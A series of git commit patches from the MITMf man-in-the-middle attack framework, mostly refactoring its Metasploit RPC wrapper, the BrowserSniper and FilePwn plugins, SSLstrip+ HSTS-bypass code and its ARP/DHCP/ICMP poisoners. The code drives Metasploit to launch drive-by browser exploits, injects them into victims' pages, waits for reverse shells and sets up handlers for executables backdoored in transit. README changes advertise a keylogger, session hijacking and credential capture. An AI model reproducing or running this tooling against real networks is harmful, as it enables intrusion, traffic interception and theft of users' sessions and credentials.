use".format(self.config['MITMf']['DNS']['port'])) # Initialize and start the DNS Server def startUDP(self): diff --git a/core/msfrpc.py b/core/msfrpc.py index f722875..51e51c2 100644 --- a/core/msfrpc.py +++ b/core/msfrpc.py @@ -24,6 +24,9 @@ import msgpack import logging import requests +from core.configwatcher import ConfigWatcher +from core.utils import shutdown + logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message class Msfrpc: @@ -84,6 +87,55 @@ class Msfrpc: except: raise self.MsfAuthError("MsfRPC: Authentication failed") +class Msf: + ''' + This is just a wrapper around the Msfrpc class, + prevents a lot of code re-use throught the framework + + ''' + def __init__(self): + try: + self.msf = Msfrpc({"host": ConfigWatcher.config['MITMf']['Metasploit']['rpcip']}) + self.msf.login('msf', ConfigWatcher.config['MITMf']['Metasploit']['rpcpass']) + except Exception as e: + shutdown("[Msfrpc] Error connecting to Metasploit: {}".format(e)) + + def version(self): + return self.msf.call('core.version')['version'] + + def jobs(self): + return self.msf.call('job.list') + + def jobinfo(self, pid): + return self.msf.call('job.info', [pid]) + + def killjob(self, pid): + return self.msf.call('job.kill', [pid]) + + def findpid(self, name): + jobs = self.jobs() + for pid, jobname in jobs.iteritems(): + if name in jobname: + return pid + return None + + def sessions(self): + return self.msf.call('session.list') + + def sessionsfrompeer(self, peer): + sessions = self.sessions() + for n, v in sessions.iteritems(): + if peer in v['tunnel_peer']: + return n + return None + + def sendcommand(self, cmd): + #Create a virtual console + console_id = self.msf.call('console.create')['id'] + + #write the cmd to the newly created console + self.msf.call('console.write', [console_id, cmd]) + if __name__ == '__main__': # Create a new instance of the Msfrpc client with the default options diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index 67b6dba..8d2d30e 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -69,7 +69,7 @@ class ClientRequest(Request): if self.hsts: if 'referer' in headers: - real = self.urlMonitor.getHstsConfig()[0] + real = self.urlMonitor.real if len(real) > 0: dregex = re.compile("({})".format("|".join(map(re.escape, real.keys())))) headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) @@ -120,7 +120,7 @@ class ClientRequest(Request): client = self.getClientIP() path = self.getPathFromUri() url = 'http://' + host + path - self.uri = url # set URI to absolute + self.uri = url # set URI to absolute if self.content: self.content.seek(0,0) @@ -129,8 +129,8 @@ class ClientRequest(Request): if self.hsts: - host = self.urlMonitor.URLgetRealHost(str(host)) - real = self.urlMonitor.getHstsConfig()[0] + host = self.urlMonitor.URLgetRealHost(str(host)) + real = self.urlMonitor.real patchDict = self.urlMonitor.patchDict url = 'http://' + host + path self.uri = url # set URI to absolute diff --git a/core/sslstrip/SSLServerConnection.py b/core/sslstrip/SSLServerConnection.py index f0db397..4015276 100644 --- a/core/sslstrip/SSLServerConnection.py +++ b/core/sslstrip/SSLServerConnection.py @@ -16,7 +16,9 @@ # USA # -import logging, re, string +import logging +import re +import string from ServerConnection import ServerConnection from URLMonitor import URLMonitor @@ -58,7 +60,7 @@ class SSLServerConnection(ServerConnection): if v[:7].lower()==' domain': dominio=v.split("=")[1] mitmf_logger.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v) - real = self.urlMonitor.getHstsConfig()[1] + real = self.urlMonitor.real if dominio in real: v=" Domain=%s"%real[dominio] mitmf_logger.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v) diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 32ee79e..74868f4 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -105,7 +105,13 @@ class ServerConnection(HTTPClient): def connectionMade(self): mitmf_logger.debug("[ServerConnection] HTTP connection made.") - self.clientInfo = hap.simple_detect(self.headers['user-agent']) + try: + self.clientInfo = hap.simple_detect(self.headers['user-agent']) + except KeyError as e: + mitmf_logger.debug("[ServerConnection] Client didn't send UA with request") + self.clientInfo = None + pass + self.plugins.hook() self.sendRequest() self.sendHeaders() @@ -214,9 +220,7 @@ class ServerConnection(HTTPClient): nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) mitmf_logger.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl)) sustitucion[url] = nuevaurl - #data.replace(url,nuevaurl) - #data = self.urlMonitor.DataReemplazo(data) if len(sustitucion)>0: dregex = re.compile("({})".format("|".join(map(re.escape, sustitucion.keys())))) data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) diff --git a/core/sslstrip/URLMonitor.py b/core/sslstrip/URLMonitor.py index f306db7..54b4bd5 100644 --- a/core/sslstrip/URLMonitor.py +++ b/core/sslstrip/URLMonitor.py @@ -32,6 +32,8 @@ class URLMonitor: # Start the arms race, and end up here... javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] _instance = None + sustitucion = dict() + real = dict() patchDict = { 'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net', 'https:\/\/www.facebook.com':'http:\/\/social.facebook.com', @@ -107,23 +109,24 @@ class URLMonitor: port = 443 if self.hsts: - if not self.getHstsConfig[1].has_key(host): + self.updateHstsConfig() + + if not self.sustitucion.has_key(host): lhost = host[:4] if lhost=="www.": - self.getHstsConfig[1][host] = "w"+host - self.getHstsConfig[0]["w"+host] = host + self.sustitucion[host] = "w"+host + self.real["w"+host] = host else: - self.getHstsConfig[1][host] = "web"+host - self.getHstsConfig[0]["web"+host] = host - mitmf_logger.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.getHstsConfig[1][host])) + self.sustitucion[host] = "web"+host + self.real["web"+host] = host + mitmf_logger.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.sustitucion[host])) url = 'http://' + host + path - #mitmf_logger.debug("HSTS stripped URL: %s %s"%(client, url)) self.strippedURLs.add((client, url)) self.strippedURLPorts[(client, url)] = int(port) - return 'http://'+ self.getHstsConfig[1][host] + path + return 'http://'+ self.sustitucion[host] + path else: url = method + host + path @@ -134,15 +137,10 @@ class URLMonitor: def setFaviconSpoofing(self, faviconSpoofing): self.faviconSpoofing = faviconSpoofing - def getHstsConfig(self): - sustitucion = dict() - real = dict() - - for k,v in ConfigWatcher.getInstance().getConfig()['SSLstrip+']: - sustitucion[k] = v - real[v] = k - - return (real, sustitucion) + def updateHstsConfig(self): + for k,v in ConfigWatcher.getInstance().config['SSLstrip+'].iteritems(): + self.sustitucion[k] = v + self.real[v] = k def setHstsBypass(self): self.hsts = True @@ -158,10 +156,12 @@ class URLMonitor: def URLgetRealHost(self, host): mitmf_logger.debug("[URLMonitor][HSTS] Parsing host: {}".format(host)) - - if self.getHstsConfig()[0].has_key(host): - mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.getHstsConfig()[0][host])) - return self.getHstsConfig()[0][host] + + self.updateHstsConfig() + + if self.real.has_key(host): + mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.real[host])) + return self.real[host] else: mitmf_logger.debug("[URLMonitor][HSTS] Host not in list: {}".format(host)) diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index 19225a3..aa831f4 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -39,11 +39,11 @@ class BrowserProfiler(Inject, Plugin): self.html_payload = self.get_payload() def post2dict(self, post): #converts the ajax post to a dic - dict = {} + d = dict() for line in post.split('&'): t = line.split('=') - dict[t[0]] = t[1] - return dict + d[t[0]] = t[1] + return d def clientRequest(self, request): #Handle the plugin output @@ -62,4 +62,4 @@ class BrowserProfiler(Inject, Plugin): def get_payload(self): plugindetect = open("./core/javascript/plugindetect.js", 'r').read() - return '' + return '' diff --git a/plugins/BrowserSniper.py b/plugins/BrowserSniper.py index 0eb7408..e74c405 100644 --- a/plugins/BrowserSniper.py +++ b/plugins/BrowserSniper.py @@ -23,7 +23,7 @@ import random import logging from time import sleep -from core.msfrpc import Msfrpc +from core.msfrpc import Msf from core.utils import SystemConfig, shutdown from plugins.plugin import Plugin from plugins.BrowserProfiler import BrowserProfiler @@ -42,20 +42,11 @@ class BrowserSniper(BrowserProfiler, Plugin): self.msfip = SystemConfig.getIP(options.interface) self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit - msfcfg = self.config['MITMf']['Metasploit'] - self.rpcip = msfcfg['rpcip'] - self.rpcpass = msfcfg['rpcpass'] - #Initialize the BrowserProfiler plugin BrowserProfiler.initialize(self, options) - try: - self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary - self.msf.login('msf', self.rpcpass) - version = self.msf.call('core.version')['version'] - self.tree_info.append("Connected to Metasploit v{}".format(version)) - except Exception: - shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server") + msfversion = Msf().version() + self.tree_info.append("Connected to Metasploit v{}".format(msfversion)) def startThread(self, options): self.snipe() @@ -84,11 +75,7 @@ class BrowserSniper(BrowserProfiler, Plugin): cmd += "set ExitOnSession False\n" cmd += "exploit -j\n" - #Create a virtual console - console_id = self.msf.call('console.create')['id'] - - #write the cmd to the newly created console - self.msf.call('console.write', [console_id, cmd]) + Msf().sendcommand(cmd) return (rand_url, rand_port) @@ -140,7 +127,7 @@ class BrowserSniper(BrowserProfiler, Plugin): elif details['Plugin'].lower() == 'flash': - if (flash is not None) and (java in details['PluginVersions']): + if (flash is not None) and (flash in details['PluginVersions']): exploits.append(exploit) mitmf_logger.debug("{} [BrowserSniper] Compatible exploits: {}".format(vic_ip, exploits)) @@ -154,31 +141,23 @@ class BrowserSniper(BrowserProfiler, Plugin): #The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds #Will also make sure the shell actually came from the box that we targeted - #probably a much cleaner way of doing this :/ mitmf_logger.info('{} [BrowserSniper] Waiting for ze shellz, sit back and relax...'.format(ip)) - exit_loop = False + poll_n = 1 - while poll_n <= 30: - - if exit_loop is True: - break - - sessions = self.msf.call('session.list') - if sessions: - for k, v in sessions.iteritems(): - if ip in sessions[k]['tunnel_peer']: - mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip)) - self.sploited_ips.append(ip) - self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped - exit_loop = True - break + msf = Msf() + while poll_n != 30: + if msf.sessionsfrompeer(ip): + mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip)) + self.sploited_ips.append(ip) + self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped + self.html_payload = self.get_payload() # restart the BrowserProfiler plugin + return + poll_n += 1 sleep(2) - if exit_loop is False: #We didn't get a shell :( - mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip)) - + mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip)) self.html_payload = self.get_payload() # restart the BrowserProfiler plugin def snipe(self): @@ -196,26 +175,20 @@ class BrowserSniper(BrowserProfiler, Plugin): elif exploits and (vic_ip not in self.sploited_ips): mitmf_logger.info("{} [BrowserSniper] Client vulnerable to {} exploits".format(vic_ip, len(exploits))) - inject_payload = '' + msf = Msf() for exploit in exploits: - jobs = self.msf.call('job.list') #get running jobs - if jobs: - for pid, name in jobs.iteritems(): - info = self.msf.call('job.info', [pid]) - if (exploit in info['name']): - mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit)) - url = info['uripath'] #get the url assigned to the exploit - inject_payload += "".format(self.msfip, msfport, url) - else: - url, port = self._setupExploit(exploit, msfport) - inject_payload += "".format(self.msfip, port, url) + pid = msf.findpid(exploit) + if pid: + mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit)) + url = msf.jobinfo(pid)['uripath'] #get the url assigned to the exploit + inject_payload += "".format(self.msfip, msfport, url) else: url, port = self._setupExploit(exploit, msfport) inject_payload += "".format(self.msfip, port, url) - + self.injectAndPoll(vic_ip, inject_payload) sleep(1) diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 64f977a..2d40f54 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -68,7 +68,7 @@ import multiprocessing from libs.bdfactory import pebin from libs.bdfactory import elfbin from libs.bdfactory import machobin -from core.msfrpc import Msfrpc +from core.msfrpc import Msf from core.utils import shutdown from plugins.plugin import Plugin from tempfile import mkstemp @@ -126,26 +126,15 @@ class FilePwn(Plugin): self.zipblacklist = self.userConfig['ZIP']['blacklist'] self.tarblacklist = self.userConfig['TAR']['blacklist'] - #Metasploit options - msfcfg = self.config['MITMf']['Metasploit'] - rpcip = msfcfg['rpcip'] - rpcpass = msfcfg['rpcpass'] + msfversion = Msf().version() + self.tree_info.append("Connected to Metasploit v{}".format(msfversion)) - try: - msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary - msf.login('msf', rpcpass) - version = msf.call('core.version')['version'] - self.tree_info.append("Connected to Metasploit v{}".format(version)) - - t = threading.Thread(name='setupMSF', target=self.setupMSF, args=(msf,)) - t.setDaemon(True) - t.start() - except Exception: - shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") + t = threading.Thread(name='setupMSF', target=self.setupMSF) + t.setDaemon(True) + t.start() - def setupMSF(self, msf): - - jobs = msf.call('job.list') + def setupMSF(self): + msf = Msf() for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]: cmd = "use exploit/multi/handler\n" cmd += "set payload {}\n".format(config["MSFPAYLOAD"]) @@ -154,21 +143,16 @@ class FilePwn(Plugin): cmd += "set ExitOnSession False\n" cmd += "exploit -j\n" - if jobs: - for pid, name in jobs.iteritems(): - info = msf.call('job.info', [pid]) - if (info['name'] != "Exploit: multi/handler") or (info['datastore']['payload'] != config["MSFPAYLOAD"]) or (info['datastore']['LPORT'] != config["PORT"]) or (info['datastore']['lhost'] != config['HOST']): - #Create a virtual console - c_id = msf.call('console.create')['id'] - - #write the cmd to the newly created console - msf.call('console.write', [c_id, cmd]) + pid = msf.findpid('multi/handler') + if pid: + info = msf.jobinfo(pid) + if (info['datastore']['payload'] == config["MSFPAYLOAD"]) and (info['datastore']['LPORT'] == config["PORT"]) and (info['datastore']['lhost'] != config['HOST']): + msf.killjob(pid) + msf.sendcommand(cmd) + else: + msf.sendcommand(cmd) else: - #Create a virtual console - c_id = msf.call('console.create')['id'] - - #write the cmd to the newly created console - msf.call('console.write', [c_id, cmd]) + msf.sendcommand(cmd) def onConfigChange(self): self.initialize(self.options) diff --git a/plugins/Screenshotter.py b/plugins/Screenshotter.py index 5e32555..eae51ee 100644 --- a/plugins/Screenshotter.py +++ b/plugins/Screenshotter.py @@ -37,7 +37,7 @@ class ScreenShotter(Inject, Plugin): has_opts = True def initialize(self, options): - self.interval = options.interval + self.interval = 10 or options.interval Inject.initialize(self, options) self.html_payload = self.get_payload() @@ -60,4 +60,4 @@ class ScreenShotter(Inject, Plugin): return '' def pluginOptions(self, options): - options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)") \ No newline at end of file + options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=None, help="Interval at which screenshots will be taken (default 10 seconds)") \ No newline at end of file From 946ba0b365eddff81fdc1b8828b3545ef68eb782 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 19 May 2015 00:08:44 +0200 Subject: [PATCH 176/323] updated readme --- README.md | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 1008bb1..7b03c09 100644 --- a/README.md +++ b/README.md @@ -16,12 +16,13 @@ Contact me at: Available plugins ================= +- ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser - ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner - ```SSLstrip+``` - Partially bypass HSTS - ```Spoof``` - Redirect traffic using ARP Spoofing, ICMP Redirects or DHCP Spoofing - ```BeEFAutorun``` - Autoruns BeEF modules based on clients OS or browser type - ```AppCachePoison``` - Perform App cache poisoning attacks -- ```Ferret-NG``` - Transparently hijacks sessions +- ```Ferret-NG``` - Tranperently hijacks sessions - ```BrowserProfiler``` - Attempts to enumerate all browser plugins of connected clients - ```CacheKill``` - Kills page caching by modifying headers - ```FilePwn``` - Backdoor executables being sent over HTTP using the Backdoor Factory and BDFProxy @@ -35,6 +36,10 @@ Available plugins Changelog ========= +- ```SessionHijacker``` is replaced with ```Ferret-NG```, captures cookies and starts a proxy that will feed them to connected clients + +- Addition of the ```Screenshotter``` plugin, able to render screenshots of a clients browser at regular intervals + - Addition of a fully functional SMB server using the [Impacket](https://github.com/CoreSecurity/impacket) library - Addition of [DNSChef](https://github.com/iphelix/dnschef), the framework is now a IPv4/IPv6 (TCP & UDP) DNS server ! Supported queries are: 'A', 'AAAA', 'MX', 'PTR', 'NS', 'CNAME', 'TXT', 'SOA', 'NAPTR', 'SRV', 'DNSKEY' and 'RRSIG' @@ -46,8 +51,6 @@ Changelog - Integrated [SSLstrip+](https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014 -- Addition of the ```Ferret-NG``` plugin, which uses code from [FireLamb](https://github.com/sensepost/mana/tree/master/firelamb) to store cookies in a Firefox profile - - ```Spoof``` plugin can now exploit the 'ShellShock' bug when DHCP spoofing! - ```Spoof``` plugin now supports ICMP, ARP and DHCP spoofing From ae236625db5ffc660eb012b2241a0411c9ddbf3e Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 19 May 2015 00:23:03 +0200 Subject: [PATCH 177/323] readme --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 7b03c09..d1bbd4a 100644 --- a/README.md +++ b/README.md @@ -36,6 +36,8 @@ Available plugins Changelog ========= +- Config file now updates on the fly! + - ```SessionHijacker``` is replaced with ```Ferret-NG```, captures cookies and starts a proxy that will feed them to connected clients - Addition of the ```Screenshotter``` plugin, able to render screenshots of a clients browser at regular intervals From 3814b4cf8267bbb13f43ca51335803527ef25947 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 19 May 2015 00:45:27 +0200 Subject: [PATCH 178/323] fixed .gitignore --- logs/.gitignore | 1 + logs/ferret-ng/.gitignore | 2 ++ 2 files changed, 3 insertions(+) create mode 100644 logs/ferret-ng/.gitignore diff --git a/logs/.gitignore b/logs/.gitignore index 4f167e8..cf7c24d 100644 --- a/logs/.gitignore +++ b/logs/.gitignore @@ -2,3 +2,4 @@ !.gitignore !responder/ !dnschef/ +!ferret-ng/ diff --git a/logs/ferret-ng/.gitignore b/logs/ferret-ng/.gitignore new file mode 100644 index 0000000..d6b7ef3 --- /dev/null +++ b/logs/ferret-ng/.gitignore @@ -0,0 +1,2 @@ +* +!.gitignore From fb26d8920466438c62219e7e30d9cd1ea68871cc Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 19 May 2015 12:58:58 +0200 Subject: [PATCH 179/323] typos --- README.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index d1bbd4a..6b44f24 100644 --- a/README.md +++ b/README.md @@ -22,12 +22,12 @@ Available plugins - ```Spoof``` - Redirect traffic using ARP Spoofing, ICMP Redirects or DHCP Spoofing - ```BeEFAutorun``` - Autoruns BeEF modules based on clients OS or browser type - ```AppCachePoison``` - Perform App cache poisoning attacks -- ```Ferret-NG``` - Tranperently hijacks sessions +- ```Ferret-NG``` - Transperently hijacks sessions - ```BrowserProfiler``` - Attempts to enumerate all browser plugins of connected clients - ```CacheKill``` - Kills page caching by modifying headers - ```FilePwn``` - Backdoor executables being sent over HTTP using the Backdoor Factory and BDFProxy - ```Inject``` - Inject arbitrary content into HTML content -- ```BrowserPwn``` - Performs drive-by attacks on clients with out-of-date browser plugins +- ```BrowserSniper``` - Performs drive-by attacks on clients with out-of-date browser plugins - ```jskeylogger``` - Injects a javascript keylogger into clients webpages - ```Replace``` - Replace arbitary content in HTML content - ```SMBAuth``` - Evoke SMB challenge-response auth attempts @@ -40,6 +40,8 @@ Changelog - ```SessionHijacker``` is replaced with ```Ferret-NG```, captures cookies and starts a proxy that will feed them to connected clients +- ```JavaPwn``` plugin replced with ```BrowserSniper```, now supports java, flash and browser exploits + - Addition of the ```Screenshotter``` plugin, able to render screenshots of a clients browser at regular intervals - Addition of a fully functional SMB server using the [Impacket](https://github.com/CoreSecurity/impacket) library From a102975492dbc232c516dd80d67d7318f269dff2 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 19 May 2015 22:32:39 +0200 Subject: [PATCH 180/323] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 6b44f24..3a43c32 100644 --- a/README.md +++ b/README.md @@ -81,7 +81,7 @@ Installation If MITMf is not in your distros repo or you just want the latest version: - Clone this repository - Run the ```setup.sh``` script -- Run the command ```pip install -r requirements.txt``` to install all python dependencies +- Run the command ```pip install --upgrade -r requirements.txt``` to install all python dependencies On Kali Linux, if you get an error while installing the ```pypcap``` package or when starting MITMf you see: ```ImportError: no module named pcap``` run ```apt-get install python-pypcap``` to fix it. From 929520fcc856813576b67f1b50728407fa33d7a4 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 19 May 2015 22:43:43 +0200 Subject: [PATCH 181/323] Initial webserver implementation, plus organized directory structure a bit better --- core/{dnschef => poisoners}/__init__.py | 0 core/{protocols => poisoners}/arp/ARPWatch.py | 0 .../arp/ARPpoisoner.py | 0 core/{protocols => poisoners/arp}/__init__.py | 0 .../dhcp/DHCPpoisoner.py} | 2 +- .../arp => poisoners/dhcp}/__init__.py | 0 .../icmp/ICMPpoisoner.py | 0 .../dhcp => poisoners/icmp}/__init__.py | 0 core/protocols/dns/DNSServer.py | 101 -------------- core/protocols/dns/DNSnfqueue.py | 130 ------------------ core/{protocols/dns => servers}/__init__.py | 0 core/{dnschef => servers/dns}/CHANGELOG | 0 core/{dnschef => servers/dns}/DNSchef.py | 0 core/{dnschef => servers/dns}/LICENSE | 0 core/{dnschef => servers/dns}/README.md | 0 .../icmp => servers/dns}/__init__.py | 0 core/servers/http/HTTPServer.py | 21 +++ .../smb => servers/http}/__init__.py | 0 core/{protocols => servers}/smb/SMBPackets.py | 0 .../smb/SMBServer_Responder.py | 0 core/{protocols => servers}/smb/SMBserver.py | 0 core/servers/smb/__init__.py | 0 mitmf.py | 9 +- plugins/SSLstrip+.py | 2 +- plugins/Spoof.py | 10 +- plugins/TestPlugin.py | 18 +++ requirements.txt | 1 + 27 files changed, 54 insertions(+), 240 deletions(-) rename core/{dnschef => poisoners}/__init__.py (100%) rename core/{protocols => poisoners}/arp/ARPWatch.py (100%) rename core/{protocols => poisoners}/arp/ARPpoisoner.py (100%) rename core/{protocols => poisoners/arp}/__init__.py (100%) rename core/{protocols/dhcp/DHCPServer.py => poisoners/dhcp/DHCPpoisoner.py} (99%) rename core/{protocols/arp => poisoners/dhcp}/__init__.py (100%) rename core/{protocols => poisoners}/icmp/ICMPpoisoner.py (100%) rename core/{protocols/dhcp => poisoners/icmp}/__init__.py (100%) delete mode 100644 core/protocols/dns/DNSServer.py delete mode 100644 core/protocols/dns/DNSnfqueue.py rename core/{protocols/dns => servers}/__init__.py (100%) rename core/{dnschef => servers/dns}/CHANGELOG (100%) rename core/{dnschef => servers/dns}/DNSchef.py (100%) rename core/{dnschef => servers/dns}/LICENSE (100%) rename core/{dnschef => servers/dns}/README.md (100%) rename core/{protocols/icmp => servers/dns}/__init__.py (100%) create mode 100644 core/servers/http/HTTPServer.py rename core/{protocols/smb => servers/http}/__init__.py (100%) rename core/{protocols => servers}/smb/SMBPackets.py (100%) rename core/{protocols => servers}/smb/SMBServer_Responder.py (100%) rename core/{protocols => servers}/smb/SMBserver.py (100%) create mode 100644 core/servers/smb/__init__.py create mode 100644 plugins/TestPlugin.py diff --git a/core/dnschef/__init__.py b/core/poisoners/__init__.py similarity index 100% rename from core/dnschef/__init__.py rename to core/poisoners/__init__.py diff --git a/core/protocols/arp/ARPWatch.py b/core/poisoners/arp/ARPWatch.py similarity index 100% rename from core/protocols/arp/ARPWatch.py rename to core/poisoners/arp/ARPWatch.py diff --git a/core/protocols/arp/ARPpoisoner.py b/core/poisoners/arp/ARPpoisoner.py similarity index 100% rename from core/protocols/arp/ARPpoisoner.py rename to core/poisoners/arp/ARPpoisoner.py diff --git a/core/protocols/__init__.py b/core/poisoners/arp/__init__.py similarity index 100% rename from core/protocols/__init__.py rename to core/poisoners/arp/__init__.py diff --git a/core/protocols/dhcp/DHCPServer.py b/core/poisoners/dhcp/DHCPpoisoner.py similarity index 99% rename from core/protocols/dhcp/DHCPServer.py rename to core/poisoners/dhcp/DHCPpoisoner.py index 80ab8c6..aa23cc8 100644 --- a/core/protocols/dhcp/DHCPServer.py +++ b/core/poisoners/dhcp/DHCPpoisoner.py @@ -8,7 +8,7 @@ from scapy.all import * mitmf_logger = logging.getLogger('mitmf') -class DHCPServer(): +class DHCPpoisoner(): def __init__(self, interface, dhcpcfg, ip, mac): self.interface = interface diff --git a/core/protocols/arp/__init__.py b/core/poisoners/dhcp/__init__.py similarity index 100% rename from core/protocols/arp/__init__.py rename to core/poisoners/dhcp/__init__.py diff --git a/core/protocols/icmp/ICMPpoisoner.py b/core/poisoners/icmp/ICMPpoisoner.py similarity index 100% rename from core/protocols/icmp/ICMPpoisoner.py rename to core/poisoners/icmp/ICMPpoisoner.py diff --git a/core/protocols/dhcp/__init__.py b/core/poisoners/icmp/__init__.py similarity index 100% rename from core/protocols/dhcp/__init__.py rename to core/poisoners/icmp/__init__.py diff --git a/core/protocols/dns/DNSServer.py b/core/protocols/dns/DNSServer.py deleted file mode 100644 index 19ecd81..0000000 --- a/core/protocols/dns/DNSServer.py +++ /dev/null @@ -1,101 +0,0 @@ -################################################################################## -#DNS Stuff starts here(not Used) -################################################################################## - -#Function name self-explanatory - -class DNSServer(): - - def serve_thread_udp(host, port, handler): - try: - server = ThreadingUDPServer((host, port), handler) - server.serve_forever() - except Exception, e: - print "Error starting UDP server on port %s: %s:" % (str(port),str(e)) - - def start(DNS_On_Off): - if DNS_On_Off == "ON": - t1 = threading.Thread(name="DNS", target=self.serve_thread_udp, args=("0.0.0.0", 53,DNS)) - t2 = threading.Thread(name="DNSTCP", target=self.serve_thread_udp, args=("0.0.0.0", 53,DNSTCP)) - for t in [t1, t2]: - t.setDaemon(True) - t.start() - - if DNS_On_Off == "OFF": - return False - -class ThreadingUDPServer(ThreadingMixIn, UDPServer): - - allow_reuse_address = 1 - - def server_bind(self): - UDPServer.server_bind(self) - -def ParseDNSType(data): - QueryTypeClass = data[len(data)-4:] - if QueryTypeClass == "\x00\x01\x00\x01":#If Type A, Class IN, then answer. - return True - else: - return False - -#DNS Answer packet. -class DNSAns(Packet): - fields = OrderedDict([ - ("Tid", ""), - ("Flags", "\x80\x10"), - ("Question", "\x00\x01"), - ("AnswerRRS", "\x00\x01"), - ("AuthorityRRS", "\x00\x00"), - ("AdditionalRRS", "\x00\x00"), - ("QuestionName", ""), - ("QuestionNameNull", "\x00"), - ("Type", "\x00\x01"), - ("Class", "\x00\x01"), - ("AnswerPointer", "\xc0\x0c"), - ("Type1", "\x00\x01"), - ("Class1", "\x00\x01"), - ("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long.. - ("IPLen", "\x00\x04"), - ("IP", "\x00\x00\x00\x00"), - ]) - - def calculate(self,data): - self.fields["Tid"] = data[0:2] - self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) - self.fields["IP"] = inet_aton(OURIP) - self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) - -# DNS Server class. -class DNS(BaseRequestHandler): - - def handle(self): - data, soc = self.request - if self.client_address[0] == "127.0.0.1": - pass - elif ParseDNSType(data): - buff = DNSAns() - buff.calculate(data) - soc.sendto(str(buff), self.client_address) - #print "DNS Answer sent to: %s "%(self.client_address[0]) - responder_logger.info('DNS Answer sent to: %s'%(self.client_address[0])) - -class DNSTCP(BaseRequestHandler): - - def handle(self): - try: - data = self.request.recv(1024) - if self.client_address[0] == "127.0.0.1": - pass - elif ParseDNSType(data): - buff = DNSAns() - buff.calculate(data) - self.request.send(str(buff)) - #print "DNS Answer sent to: %s "%(self.client_address[0]) - responder_logger.info('DNS Answer sent to: %s'%(self.client_address[0])) - - except Exception: - pass - -################################################################################## -#DNS Stuff ends here (not Used) -################################################################################## \ No newline at end of file diff --git a/core/protocols/dns/DNSnfqueue.py b/core/protocols/dns/DNSnfqueue.py deleted file mode 100644 index ec1b255..0000000 --- a/core/protocols/dns/DNSnfqueue.py +++ /dev/null @@ -1,130 +0,0 @@ - -class DNSnfqueue(): - - hsts = False - dns = False - hstscfg = None - dnscfg = None - _instance = None - nfqueue = None - queue_number = 0 - - def __init__(self): - self.nfqueue = NetfilterQueue() - t = threading.Thread(name='nfqueue', target=self.bind, args=()) - t.setDaemon(True) - t.start() - - @staticmethod - def getInstance(): - if _DNS._instance is None: - _DNS._instance = _DNS() - - return _DNS._instance - - @staticmethod - def checkInstance(): - if _DNS._instance is None: - return False - else: - return True - - def bind(self): - self.nfqueue.bind(self.queue_number, self.callback) - self.nfqueue.run() - - def stop(self): - try: - self.nfqueue.unbind() - except: - pass - - def enableHSTS(self, config): - self.hsts = True - self.hstscfg = config - - def enableDNS(self, config): - self.dns = True - self.dnscfg = config - - def 